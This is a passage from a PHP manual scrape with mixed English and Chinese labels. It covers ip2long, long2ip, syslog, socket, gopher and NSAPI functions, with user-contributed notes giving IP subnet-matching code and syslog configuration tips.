   return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
   return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
   return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
   return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>
daevid at daevid dot com
12-Nov-2004 11:30
This seems obvious in hindsight, but since nobody else posted it, it had me and two others scratching our heads. Thought I'd save someone else the trouble...

In mySQL, you can use the INET_ATON() function, but to save queries, you could use this function. However, the catch is that PHP returns negative values, so you have to use it like this:

$LongIP = sprintf('%u', ip2long($dotted_name));
DivineHawk
30-Oct-2004 03:38
For PHP5 I had to replace:
$mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));

-with-

$mask_long = 0xffffffff << (32 - $ip_arr[1]);

in dzver's IP_Match Function below.
mediator
02-Jun-2004 06:50
Another function for matching $_SERVER['REMOTE_ADDR'] against CIDR.
<?php
function matchCIDR($addr, $cidr) {
   list($ip, $mask) = explode('/', $cidr);
   $mask = 0xffffffff << (32 - $mask);
   return ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));
}
?>
someone at somedomain dot something
25-Apr-2004 03:03
For those poor little people using PHP 3, here's an ip2long:
<?php
if (!function_exists("ip2long")) {
 function ip2long($ip) {
  $ex = explode(".", $ip);
  if (count($ex)!=4) return -1;
  list($a, $b, $c, $d) = $ex;
  $a = $a*16777216;
  $b = $b*65536;
  $c = $c*256;
  return $a+$b+$c+$d;
 }
}
?>
dzver
15-Apr-2004 08:12
Mix of rbsmith's function and pasted above url:

<?
// returns 1 if $ip is part of $network

function IP_Match($network, $ip) {
   $ip_arr = explode("/",$network);
   $network_long=ip2long($ip_arr[0]);

   $mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));
   $ip_long=ip2long($ip);

   if (($ip_long & $mask_long) == $network_long) {
       return 1;
   } else {
       return 0;
   }
}

// usage

$network="200.100.50.0/23";
$ip="200.100.51.55";
$ip2="200.100.52.2";

echo IP_Match($network, $ip); //prints 1
echo IP_Match($network, $ip2); //prints 0
?>
mkr at binarywerks dot dk
12-Mar-2004 10:25
If you want to expand IP ranges, for instance: 111.111.111.0/24

You can get the function here - improved with more features and bug fixed:
http://binarywerks.dk/php_src/expand_CIDR.phps
theliberal at comcast dot net
09-Feb-2004 01:51
Doh!  That's what I get for copying the wrong code.

The correct code is:

<?php
function ip2base10($ip)
{
$parts=explode(".",$ip);
$base10=($parts[0]<<24)|($parts[1]<<16)|($parts[2]<<8)|($parts[3]);
return $base10;
}
?>
sunfire at freemail dot hu
19-Jan-2004 03:31
The original function was writen by J.Adams <jna@retina.net> see this page. I found a mistake his code, and make it a little simpler.

function testip($range,$ip) {

.....

               $maskl = 0;

               for ($i = 0; $i < $regs[5]-1; $i++) {
                       $maskl += pow(2,(31-$i));
               }

               if (($maskl & $rangel) == ($maskl & $ipl)) {

.....
}
jbothe at hotmail dot com
27-Nov-2003 03:01
The following script will print out subnet statistics when you supply the IP Address and Subnet Mask. Usefull to calculate the broadcast address and network address as well as the number of hosts and the range of IP addresses in the subnet.

#!/usr/local/bin/php
<?
   $ip_addr = "172.14.1.57";
   $subnet_mask = "255.255.255.0";

   $ip = ip2long($ip_addr);
   $nm = ip2long($subnet_mask);
   $nw = ($ip & $nm);
   $bc = $nw | (~$nm);

   echo "IP Address:        " . long2ip($ip) . "\n";
   echo "Subnet Mask:        " . long2ip($nm) . "\n";
   echo "Network Address:    " . long2ip($nw) . "\n";
   echo "Broadcast Address:  " . long2ip($bc) . "\n";
   echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
   echo "Host Range:        " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";
?>

Produces the output:

IP Address:        172.14.1.57
Subnet Mask:        255.255.255.0
Network Address:    172.14.1.0
Broadcast Address:  172.14.1.255
Number of Hosts:    254
Host Range:        172.14.1.1 -> 172.14.1.254
daevid at daevid dot com
14-Oct-2003 12:23
function CalculateIPRange($iprange)
{
   // Daevid Vincent [daevid@daevid.com] 10.13.03
   //  This function will return an array of either a negative error code
   //  or all possible IP addresses in the given range.
   //  format is NNN.NNN.NNN.NNN - NNN.NNN.NNN.NNN  (spaces are okay)

   $temp = preg_split("/-/",$iprange, -1, PREG_SPLIT_NO_EMPTY);
   $QRange1 = $temp[0];
   $QRange2 = $temp[1];

   if ($QRange2 == "") return array($QRange1); //special case, they didn't put a second quad parameter

   //basic error handling to see if it is generally a valid IP in the form N.N.N.N
   if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange1) != 1 ) return array(-1);
   if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange2) != 1 ) return array(-1);

   $quad1 = explode(".",$QRange1);
   $quad2 = explode(".",$QRange2);

   reset ($quad1);
   while (list ($key, $val) = each ($quad1))
   {
         $quad1[$key] = intval($val);
         if ($quad1[$key] < 0 || $quad1[$key] > 255) return array(-2);
   }
   reset ($quad2);
   while (list ($key, $val) = each ($quad2))
   {
         $quad2[$key] = intval($val);
         if ($quad2[$key] < 0 || $quad2[$key] > 255) return array(-2);
   }

   $startIP_long = sprintf("%u",ip2long($QRange1));
   $endIP_long = sprintf("%u",ip2long($QRange2));
   $difference = $endIP_long - $startIP_long;
   //echo "startIP_long = ".$startIP_long." and endIP_long = ".$endIP_long." difference = ".$difference."<BR>";

   $ip = array();
   $k = 0;
   for ($i = $startIP_long; $i <= $endIP_long; $i++)
   {
       $temp = long2ip($i);

       //this is a total hack. there must be a better way.
       $thisQuad = explode(".",$temp);
       if ($thisQuad[3] > 0 && $thisQuad[3] < 255)
           $ip[$k++] = $temp;
   }

   return $ip;
} //CalculateIPRange()
anderson at piq dot com dot br
07-Aug-2003 01:02
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
   $route = "/bin/netstat -rn";

   exec($route, $aoutput);
   foreach($aoutput as $key => $line)
   {
       if($key > 1)
       {
           $line = ereg_replace("[[:space:]]+",",",$line);
           list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
           if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
           {
               return $iface;
           }
       }
   }
}
rbsmith
02-Jun-2003 09:29
Yet another word on IP_Match here is the complete functions
as described by php-net at dreams4net dot com on 08-Aug-2002 09:31

# determine if an IP address is within
# a particular network with mask
function IP_Match($network, $mask, $ip) {
   $ip_long=ip2long($ip);
   $network_long=ip2long($network);
   $mask_long=ip2long($mask);

   if (($ip_long & $mask_long) == $network_long) {
       return true;
   } else {
       return false;
   }
}

Thank you, it is simple, fast, and best of all works!
phl AT cyways.com
23-Oct-2001 07:36
Here's a function I whipped up today to deduce some important network information given a hostname (or its IP address) and its subnet mask:

function find_net($host,$mask) {
   ### Function to determine network characteristics
   ### $host = IP address or hostname of target host (string)
   ### $mask = Subnet mask of host in dotted decimal (string)
   ### returns array with
   ###  "cidr"      => host and mask in CIDR notation
   ###  "network"  => network address
   ###  "broadcast" => broadcast address
   ###
   ### Example: find_net("192.168.37.215","255.255.255.224")
   ### returns:
   ###    "cidr"      => 192.168.37.215/27
   ###    "network"  => 192.168.37.192
   ###    "broadcast" => 192.168.37.223
   ###

   $bits=strpos(decbin(ip2long($mask)),"0");
   $net["cidr"]=gethostbyname($host)."/".$bits;

   $net["network"]=long2ip(bindec(decbin(ip2long(gethostbyname($host))) & decbin(ip2long($mask))));

   $binhost=str_pad(decbin(ip2long(gethostbyname($host))),32,"0",STR_PAD_LEFT);
   $binmask=str_pad(decbin(ip2long($mask)),32,"0",STR_PAD_LEFT);
   for ($i=0; $i<32; $i++) {
     if (substr($binhost,$i,1)=="1" || substr($binmask,$i,1)=="0") {
         $broadcast.="1";
     }  else {
         $broadcast.="0";
     }
   }
   $net["broadcast"]=long2ip(bindec($broadcast));

   return $net;
}
jna at retina dot net
10-Nov-2000 09:54
One thing PHP lacks is a way to compare two IP addresses, which I thought might be under this function, but isn't. Here goes:

function testip($range,$ip) {
  $result = 1;

  # IP Pattern Matcher
  # J.Adams <jna@retina.net>
  #
  # Matches:
  #
  # xxx.xxx.xxx.xxx        (exact)
  # xxx.xxx.xxx.[yyy-zzz]  (range)
  # xxx.xxx.xxx.xxx/nn    (nn = # bits, cisco style -- i.e. /24 = class C)
  #
  # Does not match:
  # xxx.xxx.xxx.xx[yyy-zzz]  (range, partial octets not supported)

  if (ereg("([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/([0-9]+)",$range,$regs)) {

     # perform a mask match
     $ipl = ip2long($ip);
     $rangel = ip2long($regs[1] . "." . $regs[2] . "." . $regs[3] . "." . $regs[4]);

     $maskl = 0;

     for ($i = 0; $i< 31; $i++) {
         if ($i < $regs[5]-1) {
             $maskl = $maskl + pow(2,(30-$i));
         }
     }

     if (($maskl & $rangel) == ($maskl & $ipl)) {
         return 1;
     } else {
         return 0;
     }
   } else {

     # range based
     $maskocts = split("\.",$range);
     $ipocts = split("\.",$ip);

     # perform a range match
     for ($i=0; $i<4; $i++) {
         if (ereg("\[([0-9]+)\-([0-9]+)\]",$maskocts[$i],$regs)) {
           if ( ($ipocts[$i] > $regs[2]) || ($ipocts[$i] < $regs[1])) {
                 $result = 0;
             }
         }
         else
         {
             if ($maskocts[$i] <> $ipocts[$i]) {
                 $result = 0;
             }
         }
     }
  }
  return $result;
}
add a note add a note

后退 | 起点 | 前进
inet_pton | 上一级 | long2ip


long2ip

(PHP 4, PHP 5)

long2ip -- Converts an (IPv4) Internet network address into a string in Internet standard dotted format

Description

string long2ip ( int proper_address )

The function long2ip() generates an Internet address in dotted format (i.e.: aaa.bbb.ccc.ddd) from the proper address representation.

See also: ip2long()

add a note add a note User Contributed Notes
Gabriel Malca
17-Mar-2006 09:01
If the function doesn't exist:

<?
   if (!function_exists("long2ip")) {
       function long2ip($long) {
           // Valid range: 0.0.0.0 -> 255.255.255.255
           if ($long < 0 || $long > 4294967295) return false;
           $ip = "";
           for ($i=3;$i>=0;$i--) {
               $ip .= (int)($long / pow(256,$i));
               $long -= (int)($long / pow(256,$i))*pow(256,$i);
               if ($i>0) $ip .= ".";
           }
           return $ip;
       }
   }
?>
randomize at randomizer dot com
28-Jan-2006 01:51
Random ip address! (4294967295 is 255.255.255.255)

long2ip(rand(0, "4294967295"))
flobee
14-Feb-2005 06:50
when importing ip-ranges to a mysql database using an INT(10) field - NOTE: that you will get problems when using intval() function!

copied from "cleong" : 02-Oct-2001 02:21
intval() handles overflow differently depending on the type of the argument.
<?php
// intval('10000000000') = 2147483647
// intval(1e10) = 1410065408
?>
Tom Crosley
17-Feb-2003 05:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);              // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2
add a note add a note

后退 | 起点 | 前进
ip2long | 上一级 | openlog


openlog

(PHP 3, PHP 4, PHP 5)

openlog -- Open connection to system logger

Description

bool openlog ( string ident, int option, int facility )

openlog() opens a connection to the system logger for a program. The string ident is added to each message. Values for option and facility are given below. The option argument is used to indicate what logging options will be used when generating a log message. The facility argument is used to specify what type of program is logging the message. This allows you to specify (in your machine's syslog configuration) how messages coming from different facilities will be handled. The use of openlog() is optional. It will automatically be called by syslog() if necessary, in which case ident will default to FALSE.

表格 1. openlog() Options

Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
You can use one or more of this options. When using multiple options you need to OR them, i.e. to open the connection immediately, write to the console and include the PID in each message, you will use: LOG_CONS | LOG_NDELAY | LOG_PID

表格 2. openlog() Facilities

Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem

注: LOG_USER is the only valid log type under Windows operating systems

See also define_syslog_variables(),
syslog() and
closelog().

add a note add a note User Contributed Notes
jjarven at softers dot net
25-May-2004 10:58
I noticed weird behavior with openlog() with PHP 4.3.6.
1st time "running" the file, everything works fine, but page refreshes may cause page to hang.

Removing the openlog statement cured the problem.
sh+php at octarine dot org
12-Jan-2000 11:39
Addition to the workaround: don't set your php error logging to syslog (php3.ini error_log = syslog).
add a note add a note

后退 | 起点 | 前进
long2ip | 上一级 | pfsockopen


pfsockopen

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

pfsockopen -- Open persistent Internet or Unix domain socket connection

Description

resource pfsockopen ( string hostname [, int port [, int &errno [, string &errstr [, float timeout]]]] )

This function behaves exactly as fsockopen() with the difference that the connection is not closed after the script finishes. It is the persistent version of fsockopen().

add a note add a note User Contributed Notes
grey at greywyvern dot moc
07-Aug-2004 12:06
pfsockopen is useful for having scripts executing others in the background.

I'm writing an intra-site search engine with spidering capabilities.  To spider a ~200 page site and index all the text takes about 60 seconds.  Because I don't want the user waiting 60s for the script to finish and thinking it's timing out, I use pfsockopen to have the server open an HTTP connection with itself to execute the script in the background.  Once the spidering is done, the connection is closed without capturing the HTTP response.  The output isn't important, the spidering is!

I just make the script execute the following:

<?php

$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");

?>

Where $key is the QUERY_STRING trigger which starts the spidering process.  This script is executed in the background while the main script is free to finish loading and display a message like: "The database is being reindexed, please wait."

BTW, I set a flag in another MySQL table which prevents searches while the spider is crawling.
pulstar at ig dot com dot br
24-Sep-2003 07:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
dietrich at ganx4 dot com
09-May-2003 05:08
Re: persisting connections across script executions

SAPI modules allow this (i've only tried w/ ISAPI, but others might also allow).

also, Shane Caraveo's FastCGI allows this.
php dot net at domainofdarkness dot com
30-Jan-2001 07:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.
add a note add a note

后退 | 起点 | 前进
openlog | 上一级 | socket_get_status


socket_get_status

(PHP 4, PHP 5)

socket_get_status -- 别名 stream_get_meta_data()

说明

本函数是该函数的别名： stream_get_meta_data().

add a note add a note User Contributed Notes
gtk at linux dot online dot no
21-Feb-2002 03:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
   echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net
25-Jan-2002 09:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org
11-Dec-2000 07:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)
add a note add a note

后退 | 起点 | 前进
pfsockopen | 上一级 | socket_set_blocking


socket_set_blocking

(PHP 4, PHP 5)

socket_set_blocking -- 别名 stream_set_blocking()

说明

本函数是该函数的别名： stream_set_blocking().

add a note add a note User Contributed Notes
steve at petabit dot com
20-Aug-2004 01:44
Versions of PHP below 4.3 will use socket_set_blocking() but will not understand stream_set_blocking().
add a note add a note

后退 | 起点 | 前进
socket_get_status | 上一级 | socket_set_timeout


socket_set_timeout

(PHP 4, PHP 5)

socket_set_timeout -- 别名 stream_set_timeout()

说明

本函数是该函数的别名： stream_set_timeout().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_set_blocking | 上一级 | syslog


syslog

(PHP 3, PHP 4, PHP 5)

syslog -- Generate a system log message

Description

bool syslog ( int priority, string message )

syslog() generates a log message that will be distributed by the system logger. priority is a combination of the facility and the level, values for which are given in the next section. The remaining argument is the message to send, except that the two characters %m will be replaced by the error message string (strerror) corresponding to the present value of errno.

表格 1. syslog() Priorities (in descending order)

Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message

例子 1. Using syslog()

<?php
define_syslog_variables();
// open syslog, include the process ID and also send
// the log to standard error, and use a user defined
// logging mechanism
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// some code

if (authorized_client()) {
    // do something
} else {
    // unauthorized client!
    // log the attempt
    $access = date("Y/m/d H:i:s");
    syslog(LOG_WARNING, "Unauthorized client: $access $_SERVER[REMOTE_ADDR] ($_SERVER[HTTP_USER_AGENT])");
}

closelog();
?>
For information on setting up a user defined log handler, see the syslog.conf(5) Unix manual page. More information on the syslog facilities and option can be found in the man pages for syslog(3) on Unix machines.

On Windows NT, the syslog service is emulated using the Event Log.

注: Use of LOG_LOCAL0 through LOG_LOCAL7 for the facility parameter of openlog() is not available in Windows.

See also define_syslog_variables(),
openlog() and
closelog().

add a note add a note User Contributed Notes
Torsten
23-Apr-2004 09:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it
07-Nov-2003 03:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug  /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com
29-Jul-2003 08:05
The message string sent to the log file is limited to 500 characters.
monte at ispi dot net
04-Jul-2003 02:05
If you have php.ini setup to send PHP errors to syslog, they will all get dumped into /var/log/messages (at least it does with RedHat 9 by default). I wanted to figure out how to get PHP errors to go to their own syslog file.

After some trial and error, I figured out what facility and priority PHP uses, which is "user.notice". So, to get your PHP errors going to a separate syslog file, put this line in your /etc/syslog.conf :

user.notice  /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

Why PHP uses "user" as the facility I'm not sure, probably because it's the only one that works under Windows?

Monte
nospam \100 jraxis com (that's right!)
01-Apr-2002 12:32
This *does* actually goto the system log as configured in /etc/syslog.conf (such as /var/log/messages), it doesn't goto Apache's ErrorLog (such as /var/log/httpd/error_log). At least under my Debian Potato with Apache 1.3.23.

Use error_log() to be sure it gets into Apache's ErrorLog.
dpreece at paradise dot net dot nz
30-Jan-2002 08:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*  {tab}  /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss    0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl
22-Jan-2001 10:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net
21-Dec-2000 05:09
Example of where to look for syslog's output:  /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu
17-Feb-2000 04:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6      /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
fwo at obsidian dot co dot za
10-Dec-1999 01:59
The text was taken directly out of a unix man page. On a unix system do man 3 syslog and you wil get the info
bb at lb-data dot co dot at
08-Sep-1999 06:54
In Windows NT, use the following values of priority:
1 = error,
6 = info
add a note add a note

后退 | 起点 | 前进
socket_set_timeout | 上一级 | Net_Gopher


Net_Gopher

PHP 手册
后退 前进

LXXXIX. Net_Gopher

简介

The gopher protocol, as defined by RFC 1436, is generally considered the ancestor of the modern HTTP protocol. However, gopher was also intended to provide references to non-gopher resources including telnet, wais, nntp, and even http. This extension adds gopher support to PHP's URL Wrappers, and provides a helper function gopher_parsedir() to make sense of gopher formatted directory listings.

需求

安装

Net_Gopher is installed through the usual PECL package installation process.

  • Prerequisite: PHP 4.3.0.

  • $ pear install Net_Gopher

  • Copy the resulting gopher.so to an appropriate location and add extension=gopher.so to your php.ini file or load it dynamically in your PHP script using dl("gopher.so");

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

<?php
dl("gopher.so");

readfile("gopher://gopher.example.com/somedocument");
?>

目录
gopher_parsedir -- Translate a gopher formatted directory entry into an associative array.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
syslog | 上一级 | gopher_parsedir


gopher_parsedir

(PECL)

gopher_parsedir -- Translate a gopher formatted directory entry into an associative array.

说明

array gopher_parsedir ( string dirent )

While gopher returns text/plain documents for actual document requests. A request to a directory (such as /) will return specially encoded series of lines with each line being one directory entry or information line.

范例

例子 1. Hypothetical output from gopher://gopher.example.com/

0All about my gopher site.	/allabout.txt	gopher.example.com	70
9A picture of my cat.	/pics/cat.png	gopher.example.com	70
1A collection of my writings.	/stories	gopher.example.com	70
hThe HTTP version of this site.	URL:http://www.example.com	gopher.example.com	70
1Mirror of this site in Spain.	/	gopher.ejemplo.co.es	70
iWelcome to my gopher site.		error.host	1
iPlease select one of the options above		error.host	1
iSend complaints to /dev/null		error.host	1
iLong live gopher!		error.host	1

In the example above, the root directory at gopher.example.com knows about one DOCUMENT identified by 0 located at gopher://gopher.example.com:70/allabout.txt. It also knows about two other directory (which have their own listing files) at gopher://gopher.exmaple.com:70/stories and at gopher://gopher.ejemplo.co.es:70/. In addition there is a binary file, a link to an HTTP url, and several informative lines.

By passing each line of the directory listing into gopher_parsedir(), an associative array is formed containing a parsed out version of the data.

例子 2. Using gopher_parsedir()

<?php
dl("gopher.so");

$directory = file("gopher://gopher.example.com");

foreach($directory as $dirent) {
    print_r(gopher_parsedir($dirent));
}

/* Expected Output
   ---------------

Array (
  [type] => 0
  [title] => All about my gopher site.
  [path] => /allabout.txt
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 9
  [title] => A picture of my cat.
  [path] => /pics/cat.png
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 1
  [title] => A collection of my writings.
  [path] => /stories
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 254
  [title] => The HTTP version of this site.
  [path] => URL:http://www.example.com
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 1
  [title] => Mirror of this site in Spain.
  [path] => /
  [host] => gopher.ejemplo.co.es
  [port] => 70
)
Array (
  [type] => 255
  [title] => Welcome to my gopher site.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Please select one of the options above.
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Send complaints to /dev/null
  [path] =>
  [host] => error.host
  [port] => 1
)
Array (
  [type] => 255
  [title] => Long live gopher!
  [path] =>
  [host] => error.host
  [port] => 1
)
*/
?>

The values given by type are associated with the following constants.

表格 1. Gopher Constants

Constant | Definition
GOPHER_DOCUMENT | Standard text/plain document.
GOPHER_DIRECTORY | A resource containing a gopher formatted directory listing.
GOPHER_BINHEX | A BinHex encoded binary file.
GOPHER_DOSBINARY | A DOS formatted binary archive.
GOPHER_UUENCODED | A UUEncoded file.
GOPHER_BINARY | A generic binary file.
GOPHER_INFO | An Informational entry
GOPHER_HTTP | A reference to an HTTP resource.
GOPHER_UNKNOWN | An unrecognized entry, the line will be returned in data.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Net_Gopher | 上一级 | NSAPI-specific Functions


NSAPI-specific Functions

PHP 手册
后退 前进

XC. NSAPI-specific Functions

简介

These functions are only available when running PHP as a NSAPI module in Netscape/iPlanet/SunONE webservers.

安装

For PHP installation on Netscape/iPlanet/SunONE webservers see the NSAPI section (UNIX, Windows) in the installation chapter.

运行时配置

The behaviour of the NSAPI PHP module is affected by settings in php.ini. Configuration settings from php.ini may be overridden by additional parameters to the php4_execute call in obj.conf

表格 1. NSAPI configuration options

Name | Default | Changeable | Changelog
nsapi.read_timeout | "60" | PHP_INI_ALL | Available since PHP 4.3.3.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

nsapi.read_timeout integer

Sets the time in seconds the plugin is waiting for POST data from the client.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

参见

NSAPI implements a subset of the functions from the Apache module for maximum compatibility.

表格 2. Apache functions implemented by NSAPI

Apache function (only as alias) | NSAPI function | Description
apache_request_headers() | nsapi_request_headers() | Fetch all HTTP request headers
apache_response_headers() | nsapi_response_headers() | Fetch all HTTP response headers
getallheaders() | nsapi_request_headers() | Fetch all HTTP request headers
virtual() | nsapi_virtual() | Make NSAPI sub-request

目录
nsapi_request_headers -- Fetch all HTTP request headers
nsapi_response_headers -- Fetch all HTTP response headers
nsapi_virtual -- Perform an NSAPI sub-request

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gopher_parsedir | 上一级 | nsapi_request_headers


nsapi_request_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_request_headers -- Fetch all HTTP request headers

说明

array nsapi_request_headers ( void )

nsapi_request_headers() gets all the HTTP headers in the current request. This is only supported when PHP runs as a NSAPI module.

注: Prior to PHP 4.3.3, getallheaders() was only available for the Apache servers. After PHP 4.3.3, getallheaders() is an alias for nsapi_request_headers() if you use the NSAPI module.

注: You can also get at the value of the common CGI variables by reading them from the $_SERVER superglobal, which works whether or not you are using PHP as a NSAPI module.

返回值

Returns an associative array with all the HTTP headers.

范例

例子 1. nsapi_request_headers() example

<?php
$headers = nsapi_request_headers();

foreach ($headers as $header => $value) {
  echo "$header: $value <br />\n";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
NSAPI-specific Functions | 上一级 | nsapi_response_headers


nsapi_response_headers

(PHP 4 >= 4.3.3, PHP 5)

nsapi_response_headers -- Fetch all HTTP response headers

说明

array nsapi_response_headers ( void )

Gets all the NSAPI response headers.

返回值

Returns an associative array with all the NSAPI response headers.

参见

nsapi_request_headers()
headers_sent()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
nsapi_request_headers | 上一级 | nsapi_virtual


nsapi_virtual

(PHP 4 >= 4.3.3, PHP 5)

nsapi_virtual -- Perform an NSAPI sub-request

说明

bool nsapi_virtual ( string uri )

nsapi_virtual() is an NSAPI-specific function which is equivalent to <!--#include virtual...--> in SSI (.shtml files). It does an NSAPI sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you'd parse through webserver.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

You cannot make recursive requests with this function to other PHP scripts. If you want to include PHP scripts, use include() or require().

